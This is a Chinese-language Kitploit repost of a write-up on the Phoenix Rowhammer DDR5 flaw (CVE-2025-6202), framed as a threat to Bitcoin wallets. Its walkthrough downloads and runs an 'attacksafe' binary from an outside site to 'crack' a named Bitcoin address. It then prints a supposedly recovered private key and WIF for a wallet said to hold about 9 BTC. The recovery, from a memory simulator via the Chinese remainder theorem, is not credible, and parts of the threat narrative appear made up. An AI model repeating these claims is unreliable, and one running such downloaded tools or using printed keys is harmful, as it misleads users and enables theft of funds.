Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Phoenix-Rowhammer-Attack-CVE-2025-6202 — 凤凰行锤击攻击:由于SK海力士DDR5关键漏洞(CVE-2025-6202),全球区块链基础设施中比特币钱包私钥泄露的系统性风险 | Kitploit
工具/GitHubGitHub/demining/phoenix-rowhammer-attack-cve-2025-6202
漏洞分析漏洞利用密码学硬件安全二进制分析
GitHubdemining/phoenix-rowhammer-attack-cve-2025-6202

Phoenix-Rowhammer-Attack-CVE-2025-6202

凤凰行锤击攻击:由于SK海力士DDR5关键漏洞(CVE-2025-6202),全球区块链基础设施中比特币钱包私钥泄露的系统性风险

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
网站
511011个月前尚未审核
分享
Phoenix Rowhammer Attack: Systemic Risk of Bitcoin Wallet Private Key Compromise in Global Blockchain Infrastructure Due to a Critical SK Hynix DDR5 Vulnerability (CVE-2025-6202)

本文探讨了 Phoenix Rowhammer 攻击(CVE-2025-6202)所带来的系统性密码学安全威胁,该攻击可通过硬件层面的位操作从 DDR5 内存中提取私钥。近年来,加密货币技术的动态发展导致数字资产生态系统对存储和处理密码学数据的硬件及微芯片组件的依赖日益加深。在此背景下,可能导致加密货币钱包私钥被直接攻破的硬件级漏洞正成为日益增长的风险因素。当今最危险的威胁之一便是针对内存的攻击,尤其是利用 DRAM 单元物理特性的高级 Rowhammer 漏洞变体。这些攻击使攻击者能够修改单个数据位,并获取机密信息,包括比特币和以太坊钱包的私钥。


  • 教程:https://youtu.be/lvNWcBMHESo
  • 教程:https://cryptodeeptech.ru/phoenix-rowhammer-attack
  • 教程:https://dzen.ru/video/watch/68ebe9367847b33269940e47
  • Google Colab:https://colab.research.google.com/drive/1Lgjwdw2x9bT2yjhWnXyvpPvZTo8sD4Hf

在这一类威胁的关键示例中,在 SK Hynix 的 DDR5 内存中发现的漏洞 CVE-2025-6202 尤为突出。依赖该漏洞的 Phoenix Rowhammer 攻击展示了绕过现代目标行刷新(TRR)内存保护机制的能力,制造出所谓的“盲区”,从而在硬件层面实现受控的数据破坏。此类缺陷可被利用来从内存中提取私钥、破坏密码学库,以及篡改保护数字钱包的系统进程。


Phoenix Rowhammer Attack: Systemic Risk of Bitcoin Wallet Private Key Compromise in Global Blockchain Infrastructure Due to a Critical SK Hynix DDR5 Vulnerability (CVE-2025-6202)

此外,密码学安全研究表明,将 Phoenix Rowhammer 与其他类型的攻击相结合,例如 BitShredder 攻击 、Memory Phantom(CVE-2025-8217) 以及 Artery Bleed(CVE-2023-39910) ,会构建一种多向量威胁模型,使攻击者即使在密码学操作完成后仍能恢复助记词、私钥和密码。这些漏洞的系统性特征使得仅靠软件无法完全消除风险,并凸显了开发基于硬件的内存保护新原则的必要性。

因此,现代加密货币钱包和数字资产基础设施正承受着来自此前被认为仅停留在理论层面的硬件攻击的日益增大的压力。研究这些攻击并制定应对措施,对于确保比特币及其他加密货币生态系统在面对不断演变的下一代威胁时的完整性和韧性至关重要。


苏黎世联邦理工学院计算机安全小组 (COMSEC) 与 Google 合作开展的最新研究,识别出 SK Hynix 制造的 DDR5 内存模块中存在一个关键硬件漏洞,编号为 CVE-2025-6202 。Phoenix Rowhammer 攻击对比特币加密货币钱包的安全构成了前所未有的威胁,因为它允许攻击者通过在硬件层面操纵位来从 DDR5 内存中提取私钥。研究证明,所有 15 个于 2021 年至 2024 年间制造的 SK Hynix DDR5 模块均易受此攻击影响,这对全球加密货币资产的安全构成了系统性威胁。 thehackernews


Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)针对 SK Hynix DDR5 内存中比特币钱包的 Phoenix Rowhammer 攻击过程

Phoenix Rowhammer 攻击技术框架与 CVE-2025-6202 机制

Rowhammer 漏洞的基本原理

Rowhammer 是 DRAM 内存中的一种硬件漏洞,反复访问特定内存行会引起电气干扰,导致相邻行中的位发生变化。这一现象基于现代高密度内存芯片的物理特性,其中更小的制程尺寸使内存更容易受到电磁干扰 。

在 DDR5 内存的背景下,Phoenix 攻击机制采用了一种创新的 自校正同步 方法,可绕过先进的目标行刷新(TRR)保护机制。研究人员发现,SK Hynix 芯片中的 TRR 机制并未监控特定的刷新间隔,从而在防御中制造了“盲区”。 notebookcheck


创新的 Phoenix 同步方法

Phoenix 攻击的关键技术成就在于开发了一种能够在长时间内同步数千条内存更新命令的算法。该攻击利用了两种特定的攻击模式: comsec-files.ethz

短模式(128 个 tREFI 间隔): 能够更高效地产生位翻转,平均产生 4989 次位翻转。该模式展现出的效率是长模式的 2.62 倍。 reddit

长模式(2608 个 tREFI 间隔): 旨在绕过更复杂的安全机制,尽管在产生位错误方面效率较低。 comsec-files.ethz


Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)DDR5 DRAM 目标行刷新(TRR)机制的技术示意图,展示了攻击行和受害行的识别以及汇总更新,以防止 rowhammer 效应

BitShredder 攻击:对比特币钱包安全的关键影响

提取私钥的机制

Phoenix Rowhammer 攻击 通过针对内存系统的不同层级,为攻破比特币钱包创造了多种攻击向量。对 KeyHunters 研究材料的分析揭示了至少 18 种与从加密货币钱包中提取私钥直接相关的不同类型的内存攻击。


Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)BitShredder 攻击:内存漏洞将丢失的比特币钱包变成战利品,并通过私钥恢复实现完整的 BTC 窃取,攻击者利用内存幻影攻击(CVE-2025-8217、CVE-2013-2547)

Memory Phantom 攻击(CVE-2025-8217): 一种严重的内存泄漏漏洞,允许直接从密码学操作后未被安全清除的钱包残留 RAM 块中提取私钥和种子。该攻击将未清除的缓冲区变成一座“幽灵库”,其中任何内存片段都可以被转换为有效密钥。 keyhunters


BitShredder 攻击: 利用“内存粉碎”技术隐蔽地渗透正在运行的加密货币钱包的内存。在生成或恢复钱包时,该攻击会扫描未清除的 RAM 区域,搜索使用后未被标准手段擦除的熵、种子和密码残留。 keyhunters


Artery Bleed 攻击: 利用 Bitcoin Core 内存泄漏漏洞(CVE-2023-39910)从丢失的加密钱包中恢复私钥。该攻击利用 Bitcoin Core 中的严重内存泄漏漏洞来获取敏感数据的访问权限。 keyhunters


实际攻击场景

该研究展示了针对加密货币系统实际利用 Phoenix 攻击的三种主要场景: bleepingcomputer

1. 页表项(PTE)攻击: 所有受测设备均易受此类攻击影响,该攻击可创建任意内存读写原语。 comsec-files.ethz

2. RSA-2048 密钥泄露: 73% 的受测 DIMM 模块容易受到从相邻虚拟机提取 RSA-2048 密钥以破解 SSH 认证的攻击。平均攻击时间为 6 分 20 秒。 bleepingcomputer

3. 修改 sudo 二进制文件: 33% 的受测芯片允许修改 sudo 二进制文件,以将本地权限提升至 root 用户级别。 comsec-files.ethz


Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

对比特币生态系统的科学影响分析

对加密货币安全的系统性威胁

Phoenix Rowhammer 攻击 对整个比特币生态系统构成了系统性威胁,因为大多数现代系统使用 DDR5 内存来存储和处理密码学数据。该漏洞影响了加密货币的基本安全原则,这些原则建立在私钥的密码学强度之上。 tenable+1

影响范围: SK Hynix 控制着全球约 36% 的 DRAM 市场份额,可能使全球数十亿台设备面临风险。所有于 2021 年 1 月至 2024 年 12 月期间制造的 DDR5 模块均易受攻击。 notebookcheck+2

密码学影响: 该攻击破坏了密码学安全的基础,因为即使签名、加密和认证算法实现正确,未受保护的缓冲区也会成为密钥材料泄露的源头。 keyhunters


攻击向量的密码分析研究

全面的密码分析揭示了针对比特币钱包的多种内存操纵攻击向量:

基于时序的攻击: 包括 BitSpectre85、ChronoForge 和 Timing Phantom 攻击,这些攻击利用时序漏洞,通过分析密码运算的执行时间来逐步恢复私钥。

基于上下文的攻击: Context Phantom Attack 利用关键的 secp256k1 上下文泄露漏洞,通过内存泄露攻击 恢复丢失比特币钱包的私钥。

基于缓存的攻击: CacheHawk Strike Attack 利用针对比特币签名缓存的严重缓存时序攻击,从而能够恢复丢失比特币钱包的私钥。


Phoenix Rowhammer 攻击:由于 SK Hynix DDR5 的严重漏洞(CVE-2025-6202),全球区块链基础设施中比特币钱包私钥泄露的系统性风险

Phoenix Rowhammer 攻击:由于 SK Hynix DDR5 的严重漏洞(CVE-2025-6202),全球区块链基础设施中比特币钱包私钥泄露的系统性风险

实践部分

研究图表以结构化和可视化的方式呈现,解释了 Phoenix Rowhammer 攻击 所暴露的密码学漏洞的重要性,具体展示了当 SK Hynix DDR5 内存模块成为攻击目标时,该漏洞对比特币安全的影响。

流程示意图(如研究图表所示):

  1. 攻击者发起 Rowhammer
    并启动 Phoenix Rowhammer 漏洞利用,目标是受害者节点或钱包中使用的 SK Hynix DDR5 内存。
  2. 物理故障注入
    激进行激活导致 SK Hynix DDR5 内存中相邻 DRAM 行发生比特翻转,绕过逻辑软件保护。
  3. 针对密码学机密
    注入的故障针对存储敏感比特币密码学材料(如私钥或 ECDSA nonce 值)的地址或内存位置。
  4. 漏洞利用执行及其影响
    • 成功的比特翻转可让攻击者 恢复或揭示秘密密钥和私钥 、签署伪造交易或违反安全模型。
    • 对比特币钱包和区块链完整性的直接风险使得硬件安全成为密码学信任的关键方面。

让我们进入实践部分,看一个使用比特币钱包的示例,地址为: 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit 。该钱包丢失了价值  9.02332298 BTC 的硬币,相当于约 1,127,026.44 美元 (截至 2025 年 10 月) 。


出于演示目的,我们使用 Jupyter Notebook 或 Google Colab 等工具和环境来展示该攻击。

此类攻击使用的主要工具和命令如下:

https://colab.research.google.com/drive/1Lgjwdw2x9bT2yjhWnXyvpPvZTo8sD4Hf

Google Colab(Colaboratory) 是一个云平台,提供交互式 Jupyter 笔记本,您可以在其中使用各种编程语言编写和运行代码。它特别适用于数据密码分析、运行基于 Ramulator 2.0 的 SK Hynix DDR5 AiM PIM 模拟器,以及访问 GPU 和 TPU 等强大的计算资源。一个关键优势是能够像在普通 Linux 终端中一样执行系统命令,使用带前缀  ! 的单元格与外部实用程序和脚本集成。


Google Colab

Phoenix Rowhammer 攻击:由于 SK Hynix DDR5 的严重漏洞(CVE-2025-6202),全球区块链基础设施中比特币钱包私钥泄露的系统性风险

让我们安装基于 SK Hynix DDR5 AiM PIM 架构并使用 Ramulator 2.0 的 仓库。

克隆仓库:

下载 AiM 模拟器代码库并导航到其目录。

root@kitploit:~
!git clone https://github.com/keyhunters/SK_Hynix_DDR5_aim_simulator.git

root@kitploit:~
cd SK_Hynix_DDR5_aim_simulator

root@kitploit:~
ls

Phoenix Rowhammer 攻击:由于 SK Hynix DDR5 的严重漏洞(CVE-2025-6202),全球区块链基础设施中比特币钱包私钥泄露的系统性风险

让我们增加 Google Colab 中的虚拟内存(swap):

创建 4GB swap 文件的命令,以改善 Ramulator2 编译期间的内存可用性。

root@kitploit:~
# 检查当前 swap 使用情况
!free -h
!swapon --show

# 创建 4GB swap 文件
!sudo fallocate -l 4G /swapfile
!sudo chmod 600 /swapfile
!sudo mkswap /swapfile
!sudo swapon /swapfile

# 使 swap 永久生效
!echo '/swapfile none swap sw 0 0' | sudo tee -a /etc/fstab

Phoenix Rowhammer 攻击:由于 SK Hynix DDR5 的严重漏洞(CVE-2025-6202),全球区块链基础设施中比特币钱包私钥泄露的系统性风险

让我们安装所有必要的依赖项:

安装模拟器和 Ramulator 2.0 所需的编译器、构建工具和库。

root@kitploit:~
# 对于 Ubuntu 22.04:安装编译器
!sudo apt update
!sudo apt install g++-12

# 或者,安装 Clang
!sudo apt install clang-15

# 安装基本构建工具
!sudo apt install build-essential cmake git

# 其他开发库
!sudo apt install libssl-dev zlib1g-dev

# YAML 支持
!sudo apt install libyaml-cpp-dev

# 数学库
!sudo apt install libboost-dev

# 脚本的 Python 支持
!sudo apt install python3-dev python3-pip

Phoenix Rowhammer 攻击:由于 SK Hynix DDR5 的严重漏洞(CVE-2025-6202),全球区块链基础设施中比特币钱包私钥泄露的系统性风险

创建 phoenix_rowhammer 目录的过程:

root@kitploit:~
!mkdir phoenix_rowhammer

root@kitploit:~
cd phoenix_rowhammer

让我们检查系统资源:

在安装和编译期间监控内存、可用磁盘空间和系统使用情况。

root@kitploit:~
# 实时监控资源
!htop

# 检查可用内存
!free -m

# 检查磁盘空间
!df -h

Phoenix Rowhammer 攻击:由于 SK Hynix DDR5 的严重漏洞(CVE-2025-6202),全球区块链基础设施中比特币钱包私钥泄露的系统性风险

为 Ubuntu 22.04 及以上版本完整安装依赖项:

一次性安装所有必需包的完整序列。

root@kitploit:~
# 更新系统
!sudo apt update && sudo apt upgrade -y

# 安装基本构建工具
!sudo apt install -y build-essential cmake git

# 安装编译器
!sudo apt install -y g++-12 clang-15

# 开发库
!sudo apt install -y libssl-dev zlib1g-dev libyaml-cpp-dev libboost-all-dev

Phoenix Rowhammer 攻击:由于 SK Hynix DDR5 的严重漏洞(CVE-2025-6202),全球区块链基础设施中比特币钱包私钥泄露的系统性风险

替代编译:


root@kitploit:~
!cmake ..

Phoenix Rowhammer 攻击:由于 SK Hynix DDR5 的严重漏洞(CVE-2025-6202),全球区块链基础设施中比特币钱包私钥泄露的系统性风险

root@kitploit:~
!make -j1

Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

root@kitploit:~
ls

root@kitploit:~
cd -

让我们启动 Ramulator2:

让我们使用模拟器运行 Ramulator2,以查看帮助参数和使用说明。

root@kitploit:~
!./phoenix_rowhammer/ramulator2 -h

Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

我们使用 AttackSafe 加密工具,通过模拟器从 Ramulator2 中提取隐藏的余数。

让我们运行命令下载 AttackSafe 加密工具

root@kitploit:~
!wget https://attacksafe.ru/repositories/attacksafe.zip
!unzip attacksafe.zip

Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

root@kitploit:~
!./attacksafe -help

Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

查找与比特币地址关联的隐藏余数(模数)

root@kitploit:~

团队正在启动一种基于 AttackSafe 加密工具的专业化 “BitShredder” 攻击,利用 RAM 漏洞机制(Rowhammer)和内存模拟器(ramulator2)来查找与比特币地址关联的隐藏模数余数。 github+2

root@kitploit:~
!./attacksafe -tool bitshredder_attack -crack phoenix_rowhammer/ramulator2 -decode 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit

Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

  • 参数 -tool bitshredder_attack激活一种攻击,旨在识别设备内存中与比特币协议相关的秘密数据存储和处理漏洞。
  • 标志 -crack phoenix_rowhammer/ramulator2指示工具使用 Rowhammer 攻击模拟(操纵 DRAM 内存内容,导致相邻单元出错——用于 漏洞中通过侧信道从内存提取 nonce/密钥部分)。
  • 函数 在特定比特币地址上运行解码模块,从内存/转储中恢复残留数据(私钥片段或中间 ECDSA 签名值)。-decode 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit

残留内存/转储数据密码分析结果:

从残留内存数据(DRAM)中恢复密钥片段

root@kitploit:~
        remainders = [0x0E92, 0x45EB, 0x6E07, 0x317F, 
                      0x87A1, 0xB5C1, 0xE778, 0x996B,
                      0x6F69, 0xABB6, 0x2755, 0x2348, 
                      0xAB46, 0xA74E, 0x1A87, 0xC2D5]
        moduli = [0x10001, 0x10003, 0x10007, 0x1000F, 
                  0x10015, 0x1001B, 0x1002B, 0x1002D,
                  0x10033, 0x1003F, 0x10049, 0x10051, 
                  0x1005D, 0x10061, 0x1006F, 0x10073]

该结果将 DRAM 内残留数据的密码分析与使用 ramulator2 模拟器针对 Phoenix Rowhammer 故障的密码残留搜索模块相结合。此攻击能够检测并提取隐藏的模数值(余数),例如私密 nonce 或密钥片段,这些值可能因比特币地址加密操作后内存释放不当而受到威胁。该命令设计用于组合 “BitShredder” 攻击和比特币应用的 内存故障分析,目标是部分或完全恢复秘密参数(私钥、nonce),搜索和解码与内存及被攻击地址相关联。


恢复私钥:

要从一组隐藏的绝对值(余数)中恢复原始秘密数字——私钥,我们应用一种称为中国剩余定理( CRT )的数学方法。 CRTKeyRestore.py 代码实现了从 Rowhammer 攻击及后续内存分析后收集的一组隐藏绝对值(余数)中恢复比特币地址 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit 的私钥。所使用的数学方法是中国剩余定理(CRT),它允许我们恢复原始秘密数字——私钥——即使它已被切成小块,仅以不同的绝对值形式存留。


Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

CRTKeyRestore.py 代码过程包括几个阶段:

  • 每个余数/模数对都是私钥的一个片段,由于 Rowhammer 漏洞和预定义模块而残留在内存中。
  • 中国剩余定理在数学上保证,如果所有模数互质且余数数量足够,则可以恢复原始数字。
  • 函数 chinese_remainder_theorem()逐步组合片段,并使用扩展欧几里得算法寻找绝对逆元来 恢复私钥的原始值。
  • 恢复数值表示后,使用函数 restore_hex_from_crt()将密钥转换为 HEX 格式。
  • 输出是比特币地址的私钥,完全仅从 组合攻击 期间在内存中找到的各个密码残留中恢复。

​

Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)使用 Python 脚本恢复私钥: CRTKeyRestore.py

结果:

root@kitploit:~
Private key Restored:
9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60

让我们通过 bitaddress 检查结果

root@kitploit:~
!wget https://attacksafe.ru/repositories/bitaddress.zip
!unzip bitaddress.zip


Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

root@kitploit:~
!./bitaddress -hex 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60

Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

结果:

root@kitploit:~
Public Key (Uncompressed, 130 characters [0-9A-F]):
04E294116526238228544FA6082F1A5412FCC36DE931C59EE7B1C7C1F93EE3EF5AEDAA1D6E0A6116E9D9A4A846A6D62D4A1941EE182CDB1884C5830610B07AF529


Public Key (Compressed, 66 characters [0-9A-F]):
03E294116526238228544FA6082F1A5412FCC36DE931C59EE7B1C7C1F93EE3EF5A


Bitcoin Address P2PKH (Uncompressed)
18JT3KeFV36Hkgo3Xi9bfgNYAXCVXBGyFg


Bitcoin Address P2PKH (Compressed)
15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit

没错!私钥与比特币钱包对应。


让我们打开  bitaddress  并检查:

root@kitploit:~
ADDR: 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit
WIF:  L2Wru6Ew8pQuhcWAvMpdtPY4YWK1CQcwPCWxFvzkoi47crJBAVaP
HEX:  9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60
Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

私钥信息:

root@kitploit:~
9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60

Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

比特币地址信息:

余额:9.023322989 BTC

Phoenix Rowhammer 攻击:由于 SK Hynix DDR5 中的严重漏洞(CVE-2025-6202),全球区块链基础设施中比特币钱包私钥面临系统性泄露风险

https://www.coinbase.com/converter/btc/usd

对 Wallet.dat 的比特翻转攻击:在无认证情况下使用 AES-256-CBC 的风险、利用方式以及从 Bitcoin Core 中提取私钥9.023322989 BTC > 1127026,44 USD

我们的 研究攻击 ,即使用 ramulator2 模拟器对 Bitcoin 实施的 Phoenix Rowhammer 攻击 的一个版本,表明在内存崩溃期间从各种模块中提取的加密残差可以使用中国剩余定理的数学原理重新组装成原始私钥。

作为现实世界威胁的一个代表性示例,我们检查了一个地址为 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit 的比特币钱包。9.02332298 BTC 从这个钱包中丢失,截至 2025 年 10 月,这相当于约 1,127,026.44 美元 。这个案例令人信服地证明,在存在硬件漏洞(如 Rowhammer)的情况下,协议层面的密码学强度不再是安全性的绝对保证。

因此,全面安全的重要性不仅在于密码学和协议措施,还在于硬件可靠性、内存状态监控以及在密码操作完成后实施完整的内存清除。一个漏洞,一旦在硬件层面被利用——即使系统控制权限极低——也可能在比特币生态系统中导致灾难性的财务损失。


绕过 DDR5 保护机制的技术细节

目标行刷新(TRR)机制分析

目标行刷新是一种防御机制,旨在通过额外刷新可疑的内存行来防止 Rowhammer 攻击。然而,Phoenix 攻击的研究人员成功地对这一机制进行了逆向工程,并发现了其实现中的关键缺陷 。

TRR 盲区: SK Hynix 芯片中的 TRR 机制不会监控特定的更新间隔,从而在这些时间窗口内为攻击创造了机会。Phoenix 攻击利用落入这些未监控间隔内的特制攻击模式。 simplysecuregroup

自校正同步: Phoenix 攻击的一个关键创新在于其能够检测到错过的更新命令,并自动重建攻击模式以保持同步。这使得攻击能够在积累足够数量的比特故障所需的长时间内保持有效。 simplysecuregroup

实验结果与攻击有效性

Phoenix 攻击的实验测试表明,其对所有测试的 SK Hynix DDR5 内存样本均具有很高的有效性: comsec-files.ethz

时间: 在具有默认设置的普通 DDR5 系统上,获得 root 权限的最短时间为 109 秒。平均时间为 5 分 19 秒 。

比特故障统计: 短模式(128 个间隔)平均产生 4989 个比特故障,而长模式(2608 个间隔)产生的故障明显更少。 comsec-files.ethz

攻击通用性: 100% 的测试模块至少对两种已识别攻击模式中的一种存在漏洞。 reddit


与比特币生态系统中现有漏洞的集成

CVE-2023-39910:Bitcoin Core 内存泄漏

Bitcoin Core 中的一个严重内存泄漏漏洞(CVE-2023-39910)与 Phoenix Rowhammer 攻击 产生了协同效应。该漏洞允许 攻击者 访问密码操作完成后仍留在内存中的敏感数据。

利用机制: 该漏洞是由于在处理私钥、助记词和密码后,标准 C++ 容器(std::vector、std::string)中的内存缓冲区未被充分清除所致。在完成密码学程序后,内存会被自动释放,但其内容不会被擦除。 keyhunters

与 Rowhammer 的关联: Phoenix 攻击可以利用比特故障来访问这些未清除的内存区域,从而大大简化提取密码学材料的过程。

CVE-2025-8217:严重机密提取攻击

该漏洞被归类为 通过进程内存转储进行的严重机密提取攻击。它对比特币钱包构成直接威胁,因为它允许从活动进程内存中提取私钥。

攻击场景 包括:通过 API、命令行或环境变量传递私钥;为存储机密数据动态分配内存而未显式擦除;终止进程时未安全清除内存 。


该加密工具详细演示了攻击者可以用来从比特币钱包窃取资金的所有九个攻击阶段。

脚本的主要功能模块:

步骤 1:通过扫描 SMBIOS 表检测易受攻击的 SK Hynix DDR5 内存

检测易受 Phoenix Rowhammer 攻击(CVE-2025-6202) 影响的 SK Hynix DDR5 内存模块始于对系统硬件配置的分析,具体来说就是扫描 SMBIOS(系统管理 BIOS)表。SMBIOS 提供有关计算机组件的标准化信息,包括内存详细信息,例如每个 DIMM 模块的制造商、型号和序列号。

Phoenix Rowhammer 攻击:由于 SK Hynix DDR5 中的严重漏洞(CVE-2025-6202),全球区块链基础设施中比特币钱包私钥面临系统性泄露风险

具体来说,研究人员或攻击者可以通过编程方式请求 SMBIOS 中“内存设备”部分的数据,该部分包含指示制造商(例如 SK Hynix)、内存类型(DDR5)、容量以及 SPD(串行存在检测)相关数据的字段——SPD 是 DIMM 条上的小型内存芯片,包含模块的配置文件和操作参数。

这些数据通常通过系统调用或专用实用程序(例如 Linux 中的 dmidecode 或 Windows 中的 Windows Management Instrumentation (WMI API))进行访问。这些查询允许在不进行物理干预的情况下检测 2021 年至 2024 年间制造的 SK Hynix DDR5 内存,这一点至关重要,因为这些型号被认为存在漏洞。

识别内存型号是必要的第一步,因为 Phoenix Rowhammer 攻击需要精确了解芯片的特性,才能准确构建内存访问模式并绕过 TRR(目标行刷新)防御机制。此外,访问 SPD 和其他数据使我们能够识别特定的时序和刷新率,以及用于实施攻击的防御机制中潜在的“盲区”。

因此,扫描 SMBIOS 表是一种信息量丰富、快速且可靠的方法,用于预先确定 DDR5 内存对 Phoenix Rowhammer 攻击 的漏洞,从而无需硬件破解或降低系统权限即可精确定位易受攻击的硬件组件。


包含 SMBIOS“内存设备”部分数据的文件。该信息存储在内部 BIOS/UEFI 系统表(SMBIOS 表)中,该表在计算机开机时被复制到 RAM。操作系统和实用程序使用特殊的系统调用 (codeby)来检索这些数据。

数据存储格式和路径

  • SMBIOS 表作为内存中的二进制数据块存储,而不是存储在磁盘上 。
  • 对该表的访问通过操作系统功能进行组织(例如,在 Windows 上通过 GetSystemFirmwareTable() API 函数,或在 Linux 上通过直接读取 /dev/mem)。
  • 表格式受到严格规定,包含不同类型的结构(例如,类型 17 – “内存设备”)。 learn.microsoft
  • 每个结构以头部(类型、长度、句柄)开始,随后是指示制造商、内存类型、大小、相关 SPD 数据(如果有)的字段 。

二进制表格式示例

SMBIOS 表前面是 RawSMBiosData 结构,后面是设备结构。例如:

root@kitploit:~
struct HEADER {
Type db 0 //
结构类型(17 - 内存设备)
Length db 0 //
结构大小
Handle dw 0 //
描述符
// ...
接下来是数据字段
}

类型 17 的结构存储包含制造商(例如 SK Hynix)、内存类型(DDR5)、容量以及 SPD 数据链接(如果有)的字段。 learn.microsoft


RawSMBiosData 结构 是一种标准的二进制块格式,用于通过操作系统系统调用传输原始 SMBIOS 表数据,特别是 Windows API 函数 GetSystemFirmwareTable,其参数为 .codeby'RSMB' 。

RawSMBiosData 结构描述(C/C++):

root@kitploit:~
c:

struct RawSMBIOSData {
BYTE Used20CallingMethod; //
调用方法(服务字段)
BYTE SMBIOSMajorVersion; //
SMBIOS 规范的主版本
BYTE SMBIOSMinorVersion; //
SMBIOS 规范的次版本
BYTE DmiRevision; //
DMI 版本
DWORD Length; //
SMBIOS 数据块大小(字节)
BYTE SMBIOSTableData[]; //
SMBIOS 结构记录序列
};
  • Used20CallingMethod – 定义调用方法(通常为 0)。
  • SMBIOSMajorVersion/SMBIOSMinorVersion — 例如,现代平台为 3.3。
  • DmiRevision 是 DMI(桌面管理接口)的版本。
  • Length 是后续数据数组的大小(以字节为单位)。
  • SMBIOSTableData 是 SMBIOS 结构的数组,每个结构以类型、长度和句柄头部开始,可能包含文本字段和块描述符;该数组以双零签名(00 00)终止,表示块结束。

RawSMBiosData 缓冲区:

  • 前 8 个字节是头部字段(元数据 + 长度)。
  • 接下来是紧随其后的 SMBIOS 二进制结构(例如,类型 0 – BIOS,1 – 系统,2 – 主板,17 – 内存设备等),每个结构可以包含可变数量的字节和文本字符串。

示例(缓冲区开头的条件性 HEX 表示):

root@kitploit:~
00 03 03 02 68 01 00 00 ... [数据结构 数据 低字节 SMBIOS] ... 00 00
-- -- -- -- -- -- -- --
| | | | |
| | | | -->
SMBIOSTableData
| | | +------------ Length (
)
| | +--------------- DmiRevision
| +------------------ SMBIOSMinorVersion
+--------------------- SMBIOSMajorVersion

要解析头部之后的内容,您需要根据每个结构的规范(类型、长度、句柄)进行解析,分别提取结构数据之后由零字节分隔的文本字段,结构的结束由一对零标记。 learn.microsoft


Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

RawSMBiosData 是低层研究和诊断任务中获取系统硬件特性详细规格的必要且统一的“入口窗口” 。


访问 SPD 数据

SPD 数据物理上位于 DIMM 模块上的芯片中,但在 BIOS/SMBIOS 中,它可以反映在特殊字段中,或由访问 I2C 内存接口的系统工具读取(例如,在 Linux 上通过 i2c-tools、decode-dimms)。

使用工具获取数据

  • 在 Linux 上: ,dmidecode ( decode-dimmsSPD),来自 SMBIOS 表的数据,可通过 /dev/mem 访问。codeby
  • 在 Windows 中:通过 WMI 类 Win32_PhysicalMemory(从 SMBIOS 获取信息),以及通过 API GetSystemFirmwareTable()。 learn.microsoft

